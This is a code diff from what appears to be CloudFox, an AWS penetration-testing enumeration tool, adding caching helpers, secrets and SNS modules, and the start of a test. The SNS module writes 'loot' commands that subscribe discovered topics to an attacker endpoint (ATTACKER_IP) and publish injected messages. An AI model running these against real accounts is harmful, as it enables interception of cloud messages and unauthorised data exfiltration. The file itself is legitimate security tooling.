BucketPolicyObject, err := S3Client.GetBucketPolicy(
context.TODO(),
&s3.GetBucketPolicyInput{
Bucket: &bucketName,
},
func(o *s3.Options) {
o.Region = r
},
)
if err != nil {
return "", err
}
internal.Cache.Set(cacheKey, aws.ToString(BucketPolicyObject.Policy), cache.DefaultExpiration)
return *BucketPolicyObject.Policy, nil
}
func CachedGetPublicAccessBlock(S3Client AWSS3ClientInterface, accountID string, r string, bucketName string) (*s3Types.PublicAccessBlockConfiguration, error) {
cacheKey := fmt.Sprintf("%s-s3-GetPublicAccessBlock-%s-%s", accountID, r, bucketName)
cached, found := internal.Cache.Get(cacheKey)
if found {
sharedLogger.Debug("Using cached data for GetPublicAccessBlock data")
return cached.(*s3Types.PublicAccessBlockConfiguration), nil
}
PublicAccessBlock, err := S3Client.GetPublicAccessBlock(
context.TODO(),
&s3.GetPublicAccessBlockInput{
Bucket: &bucketName,
},
func(o *s3.Options) {
o.Region = r
},
)
if err != nil {
return nil, err
}
internal.Cache.Set(cacheKey, PublicAccessBlock.PublicAccessBlockConfiguration, cache.DefaultExpiration)
return PublicAccessBlock.PublicAccessBlockConfiguration, err
}
+56
View File
@@ -0,0 +1,56 @@
package sdk
import (
"context"
"encoding/gob"
"fmt"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/service/secretsmanager"
secretsmanagerTypes "github.com/aws/aws-sdk-go-v2/service/secretsmanager/types"
"github.com/patrickmn/go-cache"
)
type SecretsManagerClientInterface interface {
ListSecrets(context.Context, *secretsmanager.ListSecretsInput, ...func(*secretsmanager.Options)) (*secretsmanager.ListSecretsOutput, error)
}
func RegisterSecretsManagerTypes() {
gob.Register([]secretsmanagerTypes.SecretListEntry{})
}
func CachedSecretsManagerListSecrets(client SecretsManagerClientInterface, accountID string, region string) ([]secretsmanagerTypes.SecretListEntry, error) {
var PaginationControl *string
var secrets []secretsmanagerTypes.SecretListEntry
cacheKey := fmt.Sprintf("%s-secretsmanager-ListSecrets-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]secretsmanagerTypes.SecretListEntry), nil
}
for {
ListSecrets, err := client.ListSecrets(
context.TODO(),
&secretsmanager.ListSecretsInput{
NextToken: PaginationControl,
},
func(o *secretsmanager.Options) {
o.Region = region
},
)
if err != nil {
return secrets, err
}
secrets = append(secrets, ListSecrets.SecretList...)
//pagination
if ListSecrets.NextToken == nil {
break
}
PaginationControl = ListSecrets.NextToken
}
internal.Cache.Set(cacheKey, secrets, cache.DefaultExpiration)
return secrets, nil
}
+5
View File
@@ -0,0 +1,5 @@
package sdk
import "github.com/BishopFox/cloudfox/internal"
var sharedLogger = internal.TxtLogger()
+56
View File
@@ -0,0 +1,56 @@
package sdk
import (
"context"
"encoding/gob"
"fmt"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/service/sfn"
sfnTypes "github.com/aws/aws-sdk-go-v2/service/sfn/types"
"github.com/patrickmn/go-cache"
)
type StepFunctionsClientInterface interface {
ListStateMachines(context.Context, *sfn.ListStateMachinesInput, ...func(*sfn.Options)) (*sfn.ListStateMachinesOutput, error)
}
func RegisterStepFunctionsTypes() {
gob.Register([]sfnTypes.StateMachineListItem{})
}
func CachedStepFunctionsListStateMachines(client StepFunctionsClientInterface, accountID string, region string) ([]sfnTypes.StateMachineListItem, error) {
var PaginationControl *string
var stateMachines []sfnTypes.StateMachineListItem
cacheKey := fmt.Sprintf("%s-stepfunctions-ListStateMachines-%s", accountID, region)
cached, found := internal.Cache.Get(cacheKey)
if found {
return cached.([]sfnTypes.StateMachineListItem), nil
}
for {
ListStateMachines, err := client.ListStateMachines(
context.TODO(),
&sfn.ListStateMachinesInput{
NextToken: PaginationControl,
},
func(o *sfn.Options) {
o.Region = region
},
)
if err != nil {
return stateMachines, err
}
stateMachines = append(stateMachines, ListStateMachines.StateMachines...)
//pagination
if ListStateMachines.NextToken == nil {
break
}
PaginationControl = ListStateMachines.NextToken
}
internal.Cache.Set(cacheKey, stateMachines, cache.DefaultExpiration)
return stateMachines, nil
}
+61 -26
View File
@@ -8,12 +8,12 @@ import (
"strconv"
"sync"
"github.com/BishopFox/cloudfox/console"
"github.com/BishopFox/cloudfox/utils"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/secretsmanager"
"github.com/aws/aws-sdk-go-v2/service/ssm"
"github.com/aws/aws-sdk-go-v2/service/sts"
"github.com/bishopfox/awsservicemap"
"github.com/sirupsen/logrus"
)
@@ -26,13 +26,14 @@ type SecretsModule struct {
AWSRegions []string
AWSProfile string
Goroutines int
WrapTable bool
// Main module data
Secrets []Secret
CommandCounter console.CommandCounter
CommandCounter internal.CommandCounter
// Used to store output data for pretty printing
output utils.OutputData2
output internal.OutputData2
modLog *logrus.Entry
}
@@ -49,15 +50,15 @@ func (m *SecretsModule) PrintSecrets(outputFormat string, outputDirectory string
m.output.Verbosity = verbosity
m.output.Directory = outputDirectory
m.output.CallingModule = "secrets"
m.modLog = utils.TxtLogger.WithFields(logrus.Fields{
m.modLog = internal.TxtLog.WithFields(logrus.Fields{
"module": m.output.CallingModule,
})
if m.AWSProfile == "" {
m.AWSProfile = utils.BuildAWSPath(m.Caller)
m.AWSProfile = internal.BuildAWSPath(m.Caller)
}
fmt.Printf("[%s] Enumerating secrets for account %s.\n", cyan(m.output.CallingModule), aws.ToString(m.Caller.Account))
fmt.Printf("[%s] Supported Services: SecretsManager, SSM Parameters\n", cyan(m.output.CallingModule))
fmt.Printf("[%s][%s] Enumerating secrets for account %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
fmt.Printf("[%s][%s] Supported Services: SecretsManager, SSM Parameters\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
wg := new(sync.WaitGroup)
semaphore := make(chan struct{}, m.Goroutines)
@@ -65,13 +66,14 @@ func (m *SecretsModule) PrintSecrets(outputFormat string, outputDirectory string
// Create a channel to signal the spinner aka task status goroutine to finish
spinnerDone := make(chan bool)
//fire up the the task status spinner/updated
go console.SpinUntil(m.output.CallingModule, &m.CommandCounter, spinnerDone, "tasks")
go internal.SpinUntil(m.output.CallingModule, &m.CommandCounter, spinnerDone, "tasks")
//create a channel to receive the objects
dataReceiver := make(chan Secret)
// Create a channel to signal to stop
receiverDone := make(chan bool)
go m.Receiver(dataReceiver, receiverDone)
for _, region := range m.AWSRegions {
@@ -81,10 +83,11 @@ func (m *SecretsModule) PrintSecrets(outputFormat string, outputDirectory string
}
wg.Wait()
//time.Sleep(time.Second * 2)
// Send a message to the spinner goroutine to close the channel and stop
spinnerDone <- true
<-spinnerDone
// Send a message to the data receiver goroutine to close the channel and stop
receiverDone <- true
<-receiverDone
@@ -112,16 +115,34 @@ func (m *SecretsModule) PrintSecrets(outputFormat string, outputDirectory string
}
if len(m.output.Body) > 0 {
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
//m.output.OutputSelector(outputFormat)
utils.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
m.writeLoot(m.output.FilePath, verbosity)
fmt.Printf("[%s] %s secrets found.\n", cyan(m.output.CallingModule), strconv.Itoa(len(m.output.Body)))
//utils.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
//internal.OutputSelector(m.output.Verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
//m.writeLoot(m.output.FilePath, verbosity)
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: m.output.CallingModule,
Table: internal.TableClient{
Wrap: m.WrapTable,
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: m.output.Headers,
Body: m.output.Body,
Name: m.output.CallingModule,
})
o.PrefixIdentifier = m.AWSProfile
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
o.WriteFullOutput(o.Table.TableFiles, nil)
m.writeLoot(o.Table.DirectoryName, verbosity)
fmt.Printf("[%s][%s] %s secrets found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
} else {
fmt.Printf("[%s] No secrets found, skipping the creation of an output file.\n", cyan(m.output.CallingModule))
fmt.Printf("[%s][%s] No secrets found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
}
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
}
func (m *SecretsModule) Receiver(receiver chan Secret, receiverDone chan bool) {
@@ -140,13 +161,27 @@ func (m *SecretsModule) Receiver(receiver chan Secret, receiverDone chan bool) {
func (m *SecretsModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Secret) {
defer wg.Done()
m.CommandCounter.Total++
wg.Add(1)
go m.getSecretsManagerSecretsPerRegion(r, wg, semaphore, dataReceiver)
m.CommandCounter.Total++
wg.Add(1)
go m.getSSMParametersPerRegion(r, wg, semaphore, dataReceiver)
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
res, err := servicemap.IsServiceInRegion("secretsmanager", r)
if err != nil {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
wg.Add(1)
go m.getSecretsManagerSecretsPerRegion(r, wg, semaphore, dataReceiver)
}
res, err = servicemap.IsServiceInRegion("ssm", r)
if err != nil {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
wg.Add(1)
go m.getSSMParametersPerRegion(r, wg, semaphore, dataReceiver)
}
}
@@ -183,13 +218,13 @@ func (m *SecretsModule) writeLoot(outputDirectory string, verbosity int) {
if verbosity > 2 {
fmt.Println()
fmt.Printf("[%s] %s \n\n", cyan(m.output.CallingModule), green("Use the commands below to retrieve the secrets that look interesting"))
fmt.Printf("[%s][%s] %s \n\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), green("Use the commands below to retrieve the secrets that look interesting"))
fmt.Print(out)
fmt.Printf("[%s] %s \n\n", cyan(m.output.CallingModule), green("End of loot file."))
fmt.Printf("[%s][%s] %s \n\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), green("End of loot file."))
}
fmt.Printf("[%s] Loot written to [%s]\n", cyan(m.output.CallingModule), pullFile)
fmt.Printf("[%s][%s] Loot written to [%s]\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), pullFile)
}
+180
View File
@@ -0,0 +1,180 @@
package aws
import (
"fmt"
"log"
"os"
"runtime"
"strings"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/sts"
"github.com/fatih/color"
)
var cyan = color.New(color.FgCyan).SprintFunc()
var red = color.New(color.FgRed).SprintFunc()
var yellow = color.New(color.FgRed).SprintFunc()
var blue = color.New(color.FgBlue).SprintFunc()
var magenta = color.New(color.FgMagenta).SprintFunc()
var green = color.New(color.FgGreen).SprintFunc()
var sharedLogger = internal.TxtLogger()
func GetIamSimResult(SkipAdminCheck bool, roleArnPtr *string, iamSimulatorMod IamSimulatorModule, localAdminMap map[string]bool) (string, string) {
var adminRole, canRolePrivEsc string
canRolePrivEsc = "Skipping, no pmapper data"
if !SkipAdminCheck {
var isRoleAdminBool bool
// If we've seen the function before, skip the isRoleAdmin function and just pull the value from the localAdminMap
if aws.ToString(roleArnPtr) == "" {
return "", ""
}
roleArn := aws.ToString(roleArnPtr)
if val, ok := localAdminMap[roleArn]; ok {
if val {
// we've seen it before and it's an admin
adminRole = "YES"
} else {
// we've seen it before and it's NOT an admin
adminRole = "No"
}
} else {
isRoleAdminBool = isRoleAdmin(iamSimulatorMod, roleArnPtr)
if isRoleAdminBool {
adminRole = "YES"
localAdminMap[roleArn] = true
} else {
adminRole = "No"
localAdminMap[roleArn] = false
}
}
if isRoleAdminBool {
adminRole = "YES"
} else {
adminRole = "No"
}
} else {
adminRole = "Skipped"
canRolePrivEsc = "Skipped"
}
return adminRole, canRolePrivEsc
}
func isRoleAdmin(iamSimMod IamSimulatorModule, principal *string) bool {
adminCheckResult := iamSimMod.isPrincipalAnAdmin(principal)
if adminCheckResult {
return true
} else {
return false
}
}
func initPmapperGraph(Caller sts.GetCallerIdentityOutput, AWSProfile string, Goroutines int) (PmapperModule, error) {
pmapperMod := PmapperModule{
Caller: Caller,
AWSProfile: AWSProfile,
Goroutines: Goroutines,
}
err := pmapperMod.initPmapperGraph()
if err != nil {
return pmapperMod, err
}
return pmapperMod, nil
}
func generatePmapperDataBasePaths(accountId *string) (string, string) {
var edgesPath, nodesPath string
if runtime.GOOS == "darwin" {
dir, err := os.UserHomeDir()
if err != nil {
log.Fatal("Could not get homedir")
}
edgesPath = fmt.Sprintf(dir + "/Library/Application Support/com.nccgroup.principalmapper/" + aws.ToString(accountId) + "/graph/edges.json")
nodesPath = fmt.Sprintf(dir + "/Library/Application Support/com.nccgroup.principalmapper/" + aws.ToString(accountId) + "/graph/nodes.json")
} else if runtime.GOOS == "linux" || runtime.GOOS == "freebsd" || runtime.GOOS == "openbsd" {
xdg, ok := os.LookupEnv("XDG_DATA_HOME")
if ok {
edgesPath = fmt.Sprintf(xdg + aws.ToString(accountId) + "/graph/edges.json")
nodesPath = fmt.Sprintf(xdg + aws.ToString(accountId) + "/graph/nodes.json")
} else {
dir, err := os.UserHomeDir()
if err == nil {
edgesPath = fmt.Sprintf(dir + "/.local/share/principalmapper/" + aws.ToString(accountId) + "/graph/edges.json")
nodesPath = fmt.Sprintf(dir + "/.local/share/principalmapper/" + aws.ToString(accountId) + "/graph/nodes.json")
} else {
log.Fatal("Could not homedir.")
}
}
} else if runtime.GOOS == "windows" {
dir, err := os.UserConfigDir()
if err != nil {
log.Fatal("Could not get userconfigdir")
}
edgesPath = fmt.Sprintf(dir + "\\principalmapper" + aws.ToString(accountId) + "\\graph\\edges.json")
nodesPath = fmt.Sprintf(dir + "\\principalmapper" + aws.ToString(accountId) + "\\graph\\nodes.json")
}
return edgesPath, nodesPath
}
func pmapperIsRoleAdmin(pmapperMod PmapperModule, principal *string) bool {
return pmapperMod.DoesPrincipalHaveAdmin(aws.ToString(principal))
}
func pmapperHasPathToAdmin(pmapperMod PmapperModule, principal *string) bool {
return pmapperMod.DoesPrincipalHavePathToAdmin(aws.ToString(principal))
}
func GetPmapperResults(SkipAdminCheck bool, pmapperMod PmapperModule, roleArn *string) (string, string) {
var adminRole, canRolePrivEsc string
var isRoleAdminBool bool
var canPrivEscBool bool
if !SkipAdminCheck {
if aws.ToString(roleArn) == "" {
return "", ""
}
isRoleAdminBool = pmapperIsRoleAdmin(pmapperMod, roleArn)
canPrivEscBool = pmapperHasPathToAdmin(pmapperMod, roleArn)
if canPrivEscBool {
canRolePrivEsc = "YES"
} else {
canRolePrivEsc = "No"
}
if isRoleAdminBool {
adminRole = "YES"
} else {
adminRole = "No"
}
} else {
adminRole = "Skipped"
canRolePrivEsc = "Skipped"
}
return adminRole, canRolePrivEsc
}
// take an arn and return the resource name
func GetResourceNameFromArn(arn string) string {
parts := strings.Split(arn, "/")
resourceName := parts[len(parts)-1]
return resourceName
}
+420
View File
@@ -0,0 +1,420 @@
package aws
import (
"context"
"fmt"
"os"
"path/filepath"
"sort"
"strconv"
"strings"
"sync"
"unicode/utf8"
"github.com/BishopFox/cloudfox/internal"
"github.com/BishopFox/cloudfox/internal/aws/policy"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/aws/arn"
"github.com/aws/aws-sdk-go-v2/service/sns"
"github.com/aws/aws-sdk-go-v2/service/sns/types"
"github.com/aws/aws-sdk-go-v2/service/sts"
"github.com/bishopfox/awsservicemap"
"github.com/sirupsen/logrus"
)
type SNSModule struct {
// General configuration data
SNSClient SNSClientInterface
AWSRegions []string
AWSProfile string
Caller sts.GetCallerIdentityOutput
StorePolicies bool
OutputFormat string
Goroutines int
WrapTable bool
// Main module data
Topics []SNSTopic
CommandCounter internal.CommandCounter
// Used to store output data for pretty printing
output internal.OutputData2
modLog *logrus.Entry
}
type SNSClientInterface interface {
ListTopics(ctx context.Context, params *sns.ListTopicsInput, optFns ...func(*sns.Options)) (*sns.ListTopicsOutput, error)
GetTopicAttributes(ctx context.Context, params *sns.GetTopicAttributesInput, optFns ...func(*sns.Options)) (*sns.GetTopicAttributesOutput, error)
}
type SNSTopic struct {
ARN string
Name string
Region string
Policy policy.Policy
PolicyJSON string
Access string
IsPublic string
IsConditionallyPublic string
Statement string
Actions string
ConditionText string
ResourcePolicySummary string
}
func (m *SNSModule) PrintSNS(outputFormat string, outputDirectory string, verbosity int) {
// These stuct values are used by the output module
m.output.Verbosity = verbosity
m.output.Directory = outputDirectory
m.output.CallingModule = "sns"
m.modLog = internal.TxtLog.WithFields(logrus.Fields{
"module": m.output.CallingModule,
})
if m.AWSProfile == "" {
m.AWSProfile = internal.BuildAWSPath(m.Caller)
}
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
fmt.Printf("[%s][%s] Enumerating SNS topics for account %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
wg := new(sync.WaitGroup)
semaphore := make(chan struct{}, m.Goroutines)
// Create a channel to signal the spinner aka task status goroutine to finish
spinnerDone := make(chan bool)
//fire up the the task status spinner/updated
go internal.SpinUntil(m.output.CallingModule, &m.CommandCounter, spinnerDone, "regions")
//create a channel to receive the objects
dataReceiver := make(chan SNSTopic)
// Create a channel to signal to stop
receiverDone := make(chan bool)
go m.Receiver(dataReceiver, receiverDone)
for _, region := range m.AWSRegions {
wg.Add(1)
m.CommandCounter.Pending++
go m.executeChecks(region, wg, semaphore, dataReceiver)
}
wg.Wait()
// Send a message to the spinner goroutine to close the channel and stop
spinnerDone <- true
<-spinnerDone
// Send a message to the data receiver goroutine to close the channel and stop
receiverDone <- true
<-receiverDone
// add - if struct is not empty do this. otherwise, dont write anything.
m.output.Headers = []string{
"ARN",
"Public?",
"Resource Policy Summary",
}
sort.SliceStable(m.Topics, func(i, j int) bool {
return m.Topics[i].ARN < m.Topics[j].ARN
})
// Table rows
for i := range m.Topics {
m.output.Body = append(
m.output.Body,
[]string{
m.Topics[i].ARN,
m.Topics[i].IsPublic,
m.Topics[i].ResourcePolicySummary,
},
)
}
if len(m.output.Body) > 0 {
//m.output.OutputSelector(outputFormat)
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
//m.writeLoot(m.output.FilePath, verbosity, m.AWSProfile)
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: m.output.CallingModule,
Table: internal.TableClient{
Wrap: m.WrapTable,
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: m.output.Headers,
Body: m.output.Body,
Name: m.output.CallingModule,
})
o.PrefixIdentifier = m.AWSProfile
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
o.WriteFullOutput(o.Table.TableFiles, nil)
m.writeLoot(o.Table.DirectoryName, verbosity, m.AWSProfile)
fmt.Printf("[%s][%s] %s topics found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
fmt.Printf("[%s][%s] Access policies stored to: %s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.getLootDir())
} else {
fmt.Printf("[%s][%s] No topics found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
}
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
}
func (m *SNSModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan SNSTopic) {
defer wg.Done()
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
res, err := servicemap.IsServiceInRegion("sns", r)
if err != nil {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
wg.Add(1)
m.getSNSTopicsPerRegion(r, wg, semaphore, dataReceiver)
}
}
func (m *SNSModule) Receiver(receiver chan SNSTopic, receiverDone chan bool) {
defer close(receiverDone)
for {
select {
case data := <-receiver:
m.Topics = append(m.Topics, data)
case <-receiverDone:
receiverDone <- true
return
}
}
}
func (m *SNSModule) writeLoot(outputDirectory string, verbosity int, profile string) {
path := filepath.Join(outputDirectory, "loot")
err := os.MkdirAll(path, os.ModePerm)
if err != nil {
m.modLog.Error(err.Error())
}
lootCommandsFile := filepath.Join(path, "sns-commands.txt")
var out string
out = out + fmt.Sprintln("#############################################")
out = out + fmt.Sprintln("# The profile you will use to perform these commands is most likely not the profile you used to run CloudFox")
out = out + fmt.Sprintln("# Set the $profile environment variable to the profile you are going to use to inspect the buckets.")
out = out + fmt.Sprintln("# E.g., export profile=dev-prod.")
out = out + fmt.Sprintln("#############################################")
out = out + fmt.Sprintln("")
for _, topic := range m.Topics {
out = out + fmt.Sprintln("# "+strings.Repeat("-", utf8.RuneCountInString(topic.Name)+7))
out = out + fmt.Sprintf("# Topic: %s\n", topic.Name)
out = out + fmt.Sprintln("# "+strings.Repeat("-", utf8.RuneCountInString(topic.Name)+7))
out = out + fmt.Sprintln("# Subscribe to the topic using an attacker controlled HTTP/HTTPS endpoint")
out = out + fmt.Sprintln("")
out = out + fmt.Sprintf("aws --profile $profile --region %s sns subscribe --topic-arn %s --protocol http --notification-endpoint http://ATTACKER_IP:PORT\n", topic.Region, topic.ARN)
out = out + fmt.Sprintf("aws --profile $profile --region %s sns subscribe --topic-arn %s --protocol https --notification-endpoint https://ATTACKER_IP:PORT\n", topic.Region, topic.ARN)
out = out + fmt.Sprintln("")
out = out + fmt.Sprintln("# NOTE: You will have to confirm the subscription using the URL sent to your attacker controlled http service")
out = out + fmt.Sprintln("# NOTE: Once you have confirmed the subscription, your attacker controlled IP will received all messages published to the topic.")
out = out + fmt.Sprintln("")
out = out + fmt.Sprintln("# Publish messages to an existing topic without an attributes file")
out = out + fmt.Sprintln("")
out = out + fmt.Sprintln("# WARNING: The following command can cause adverse effects in the environment. Like fuzzing a web application, if you inject")
out = out + fmt.Sprintln("# WARNING: malicious data you might find a vulnerability, but you also might break something. Unless you really know how the")
out = out + fmt.Sprintln("# WARNING: messages are consumed, you should leave fuzzing to non-production environments.")
out = out + fmt.Sprintf("aws --profile $profile --region %s sns publish --topic-arn %s --message \"[INSERT MESSAGE BODY]\"\n\n", topic.Region, topic.ARN)
out = out + fmt.Sprintln("")
out = out + fmt.Sprintln("# Send message to the topic with attributes file (You'll have to create and populate the file)")
out = out + fmt.Sprintln("")
out = out + fmt.Sprintln("# WARNING: The following command can cause adverse effects in the environment. Like fuzzing a web application, if you inject")
out = out + fmt.Sprintln("# WARNING: malicious data you might find a vulnerability, but you also might break something. Unless you really know how the")
out = out + fmt.Sprintln("# WARNING: messages are consumed, you should leave fuzzing to non-production environments.")
out = out + fmt.Sprintf("aws --profile $profile --region %s sns publish --topic-arn %s --message \"[INSERT MESSAGE BODY] --message-attributes file://./file.json\"\n\n", topic.Region, topic.ARN)
}
err = os.WriteFile(lootCommandsFile, []byte(out), 0644)
if err != nil {
m.modLog.Error(err.Error())
}
if verbosity > 2 {
fmt.Println()
fmt.Printf("[%s][%s] %s \n", cyan(m.output.CallingModule), cyan(m.AWSProfile), green("Use the commands below to send/receive sqs messages if you have right permissions."))
fmt.Print(out)
fmt.Printf("[%s][%s] %s \n", cyan(m.output.CallingModule), cyan(m.AWSProfile), green("End of loot file."))
}
fmt.Printf("[%s][%s] Loot written to [%s]\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), lootCommandsFile)
}
func (m *SNSModule) getSNSTopicsPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan SNSTopic) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
wg.Done()
}()
semaphore <- struct{}{}
defer func() {
<-semaphore
}()
ListTopics, err := m.listTopics(r)
if err != nil {
m.modLog.Error(err.Error())
return
}
for _, t := range ListTopics {
topic, err := m.getTopicWithAttributes(aws.ToString(t.TopicArn), r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
break
}
parsedArn, err := arn.Parse(aws.ToString(t.TopicArn))
if err != nil {
topic.Name = aws.ToString(t.TopicArn)
}
topic.Name = parsedArn.Resource
topic.Region = parsedArn.Region
// easier to just set the default state to be no and only flip it to yes if we have a case that matches
topic.IsPublic = "No"
if !topic.Policy.IsEmpty() {
m.analyseTopicPolicy(topic, dataReceiver)
} else {
// If the topic policy "resource policy" is empty, the only principals that have permisisons
// are those that are granted access by IAM policies
//topic.Access = "Private. Access allowed by IAM policies"
topic.Access = "Only intra-account access (via IAM) allowed"
dataReceiver <- *topic
}
}
}
func (m *SNSModule) listTopics(region string) ([]types.Topic, error) {
var PaginationControl *string
var topics []types.Topic
for {
ListTopics, err := m.SNSClient.ListTopics(
context.TODO(),
&sns.ListTopicsInput{
NextToken: PaginationControl,
},
func(o *sns.Options) {
o.Region = region
},
)
if err != nil {
return nil, err
}
for _, t := range ListTopics.Topics {
topics = append(topics, t)
}
// The "NextToken" value is nil when there's no more data to return.
if ListTopics.NextToken != nil {
PaginationControl = ListTopics.NextToken
} else {
PaginationControl = nil
break
}
}
return topics, nil
}
func (m *SNSModule) getTopicWithAttributes(topicARN string, region string) (*SNSTopic, error) {
topic := &SNSTopic{
ARN: topicARN,
}
GetTopicAttributes, err := m.SNSClient.GetTopicAttributes(
context.TODO(),
&sns.GetTopicAttributesInput{
TopicArn: aws.String(topicARN),
},
func(o *sns.Options) {
o.Region = region
},
)
if err != nil {
return nil, fmt.Errorf("GetTopicAttributes(%s) failed: %s", topicARN, err)
}
if policyJSON, ok := GetTopicAttributes.Attributes["Policy"]; ok {
policy, err := policy.ParseJSONPolicy([]byte(policyJSON))
if err != nil {
return nil, fmt.Errorf("parsing topic access policy (%s) as JSON: %s", topicARN, err)
}
topic.PolicyJSON = policyJSON
topic.Policy = policy
}
return topic, nil
}
func (m *SNSModule) analyseTopicPolicy(topic *SNSTopic, dataReceiver chan SNSTopic) {
m.storeAccessPolicy(topic)
if topic.Policy.IsPublic() && !topic.Policy.IsConditionallyPublic() {
topic.IsPublic = "YES"
}
for i, statement := range topic.Policy.Statement {
var prefix string = ""
if len(topic.Policy.Statement) > 1 {
prefix = fmt.Sprintf("Statement %d says: ", i)
topic.ResourcePolicySummary = topic.ResourcePolicySummary + prefix + statement.GetStatementSummaryInEnglish(*m.Caller.Account)
} else {
topic.ResourcePolicySummary = statement.GetStatementSummaryInEnglish(*m.Caller.Account)
}
topic.ResourcePolicySummary = strings.TrimSuffix(topic.ResourcePolicySummary, "\n")
}
dataReceiver <- *topic
}
func (m *SNSModule) storeAccessPolicy(topic *SNSTopic) {
f := filepath.Join(m.getLootDir(), fmt.Sprintf("%s.json", m.getTopicName(topic.ARN)))
if err := m.storeFile(f, topic.PolicyJSON); err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
}
}
func (m *SNSModule) getLootDir() string {
return filepath.Join(m.output.FilePath, "loot", "sns-policies")
}
// Example: arn:aws:sns:us-east-2:123456789012:MyTopic
func (m *SNSModule) getTopicName(topicARN string) string {
tokens := strings.SplitN(topicARN, ":", 6)
if len(tokens) != 6 {
return ""
}
return tokens[5]
}
func (m *SNSModule) storeFile(filename string, policy string) error {
err := os.MkdirAll(filepath.Dir(filename), 0750)
if err != nil && !os.IsExist(err) {
return fmt.Errorf("creating parent dirs: %s", err)
}
return os.WriteFile(filename, []byte(policy), 0644)
}
+138
View File
@@ -0,0 +1,138 @@
package aws
import (
"context"
"path/filepath"
"regexp"
"strings"
"testing"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/sns"
"github.com/aws/aws-sdk-go-v2/service/sns/types"
"github.com/aws/aws-sdk-go-v2/service/sts"
"github.com/spf13/afero"
)
func TestSNSQueues(t *testing.T) {
c := &mockedSNSClient{
Topics: map[string]map[string]string{
"arn:aws:sns:us-east-1:123456789012:MyFirstTopic": {
"Policy": `{"Statement":[{"Effect":"Allow","Principal":"*","Action":"SNS:Publish","Resource":"arn:aws:sns:us-east-1:123456789012:MyFirstTopic","Condition":{"StringEquals":{"aws:sourceVpce":"vpce-1a2b3c4d"}}}]}`,
},
"arn:aws:sns:us-west-2:123456789012:MySecondTopic": {},
},
}
m := SNSModule{
SNSClient: c,
Caller: sts.GetCallerIdentityOutput{
Arn: aws.String("arn:aws:iam::123456789012:user/cloudfox_unit_tests"),
Account: aws.String("123456789012"),
},
AWSRegions: []string{"us-east-1", "us-west-1", "us-west-2"},
AWSProfile: "unittesting",
StorePolicies: true,
Goroutines: 3,
}
fs := internal.MockFileSystem(true)
defer internal.MockFileSystem(false)
tmpDir := "."
